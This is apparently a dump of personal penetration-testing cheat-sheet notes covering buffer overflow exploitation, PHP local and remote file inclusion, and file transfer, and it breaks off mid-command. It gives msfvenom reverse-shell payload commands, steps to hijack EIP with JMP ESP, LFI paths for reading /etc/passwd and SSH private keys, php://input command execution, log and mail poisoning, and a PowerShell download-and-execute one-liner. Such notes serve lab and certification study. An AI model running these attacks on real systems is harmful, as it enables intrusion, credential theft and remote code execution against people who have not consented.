├── Buffer Overflow.md ├── File Inclusion.md ├── File Transfer.md ├── File upload.md ├── Interesting files.md ├── Linux Priv Esc.md ├── Password.md ├── README.md ├── Reverse shell.md ├── SQLi.md └── Windows Priv Esc.md /Buffer Overflow.md: -------------------------------------------------------------------------------- 1 | # BOF 2 | **1. Check buffer length to trigger overflow** 3 | 4 | **2. Cofirm overflow length, append "A" * length** 5 | 6 | **3. Generate Offset to check EIP, ESP location** 7 | /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 8 | 9 | Record value on EIP, select ESP and click "Follow in Dump" 10 | /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q -l 11 | 12 | Use !mona to find the offset after the overflow 13 | !mona findmsp 14 | 15 | **4. Confirm EIP by adding "B" * 4 after the number of offset. Also, add a number of "C" to track the number of characters that can be added after EIP to confirm length of shellcode** 16 | 17 | **5. Check bad characters after EIP. common bad characters are 0x00, 0x0A. Follow dump in ESP to check are there something missing after that.** 18 | Add code: 19 | 20 | badchar = [0x00] 21 | for ch in range (0x00 , 0xFF+1): 22 | if ch not in badchar: 23 | += chr(ch) 24 | 25 | **6. Find JMP ESP address in the system.** 26 | JMP ESP = FFE4 27 | 28 | !mona jmp -r esp -cpb "\x00\x0A" << bad character 29 | 30 | !mona modules 31 | !mona find -s "\xff\xe4" -m brainpan.exe 32 | 33 | check the value of the address by naviate to it. 34 | Set breakpoint 35 | Change "B" in EIP to the address of JMP ESP << littile edian 36 | 37 | e.g. 0x311712f3 >> "\xf3\x12\x17\x31" 38 | 39 | Run again to check is the breakpoint triggered 40 | 41 | **7. Add shellcode** 42 | Add a few \x90 before shellcode to avoid shellcode being modify 43 | 44 | msfvenom -p windows/shell_reverse_tcp LHOST=LPORT= EXITFUNC=thread -f -a x86 -platform windows -b "\x00" 45 | msfvenom -p linux/x86/shell_reverse_tcp LHOST=LPORT= EXITFUNC=thread -f -b "\x00" 46 | 47 | **Bonus: Running out of shell code space?** 48 | Use the front of payload instead 49 | 1. Is there any register points to the front of our payload? EAX, EDX? 50 | 2. Check JMP register address 51 | /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 52 | 53 | JMP EAX/EBX/ECX/EDX 54 | 55 | 3. Append the address as shell code. 56 | 4. Add payload to the front 57 | 58 | 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /File Inclusion.md: -------------------------------------------------------------------------------- 1 | ## LFI/RFI 2 | Exploiting PHP File Inclusion – Overview 3 | https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/ 4 | 5 | Add %00 to test if the file is adding .php to the filename < before php version 5.3 6 | Add ? to act as another parameter 7 | 8 | include will execute the file. Others will not 9 | 10 | ## Local File inclusion 11 | $file = $_GET['page']; 12 | require($file); 13 | 14 | check with files that generally can be accessed 15 | /etc/passwd 16 | /etc/hostname 17 | /etc/hosts 18 | 19 | read php file 20 | php://filter/convert.base64-encode/resource= e.g. index 21 | echo "" |base64 -d 22 | 23 | .htaccess 24 | config.php in web root folder? 25 | 26 | root/user ssh keys? .bash_history? 27 | /.ssh/id_rsa 28 | /.ssh/id_rsa.keystore 29 | /.ssh/id_rsa.pub 30 | /.ssh/authorized_keys 31 | /.ssh/known_hosts 32 | 33 | php Wrapper 34 | expect:// 35 | 36 | page=php://input&cmd=ls 37 | in POST request 38 | 39 | 40 | Upload Zip shell file and extract with zip 41 | zip://path/to/file.zip%23shell 42 | zip://path/to/file.zip%23shell.php 43 | 44 | Check current running user 45 | /proc/self/status 46 | check uid and gid 47 | 48 | ### Log Poisoning 49 | https://wiki.apache.org/httpd/DistrosDefaultLayout 50 | **Common log file location** 51 | **Ubuntu, Debian** 52 | /var/log/apache2/error.log 53 | /var/log/apache2/access.log 54 | 55 | **Red Hat, CentOS, Fedora, OEL, RHEL** 56 | /var/log/httpd/error_log 57 | /var/log/httpd/access_log 58 | 59 | **FreeBSD** 60 | /var/log/httpd-error.log 61 | /var/log/httpd-access.log 62 | 63 | **Common Config file location** 64 | check any restriction or hidden path on accessing the server 65 | 66 | **Ubuntu** 67 | /etc/apache2/apache2.conf 68 | 69 | /etc/apache2/httpd.conf 70 | /etc/apache2/apache2.conf 71 | /etc/httpd/httpd.conf 72 | /etc/httpd/conf/httpd.conf 73 | 74 | **FreeBSD** 75 | /usr/local/etc/apache2/httpd.conf 76 | 77 | Hidden site? 78 | /etc/apache2/sites-enabled/000-default.conf 79 | 80 | proc/self/environ 81 | https://www.exploit-db.com/papers/12886/ 82 | /proc/self/environ 83 | 84 | ### SSH log posioning 85 | http://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/ 86 | 87 | ### Mail log 88 | telnet 25 89 | EHLO 90 | 91 | VRFY @localhost 92 | 93 | mail from:attacker@attack.com 94 | rcpt to: @localhost 95 | data 96 | 97 | Subject: title 98 | 99 | 100 | 101 | 102 | LFI /var/mail/ 103 | 104 | ## Remote File Inclusion 105 | requires allow_url_fopen=On and allow_url_include=On 106 | 107 | $incfile = $_REQUEST["file"]; 108 | include($incfile.".php"); 109 | 110 | -------------------------------------------------------------------------------- /File Transfer.md: -------------------------------------------------------------------------------- 1 | # File Transfer 2 | 3 | 15 Ways to transfer a file 4 | https://blog.netspi.com/15-ways-to-download-a-file/#perl 5 | 6 | ### FTP 7 | /etc/init.d/pure-ftpd restart 8 | 9 | Windows 10 | echo "open ">ftp.txt 11 | echo "offsec">>ftp.txt 12 | echo "offsec">>ftp.txt 13 | echo "bin">>ftp.txt 14 | echo "get file.exe">>ftp.txt 15 | echo "bye">>ftp.txt 16 | 17 | ftp -s ftp.txt 18 | 19 | Linux 20 | ftp -4 -d -v ftp://offsec:offsec@127.0.0.1//linuxprichecker.py < ftp upload one liner linux 21 | 22 | ### Powershell 23 | powershell.exe (New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip") 24 | 25 | powershell.exe "IEX(New-Object Net.WebClient).downloadString('http:///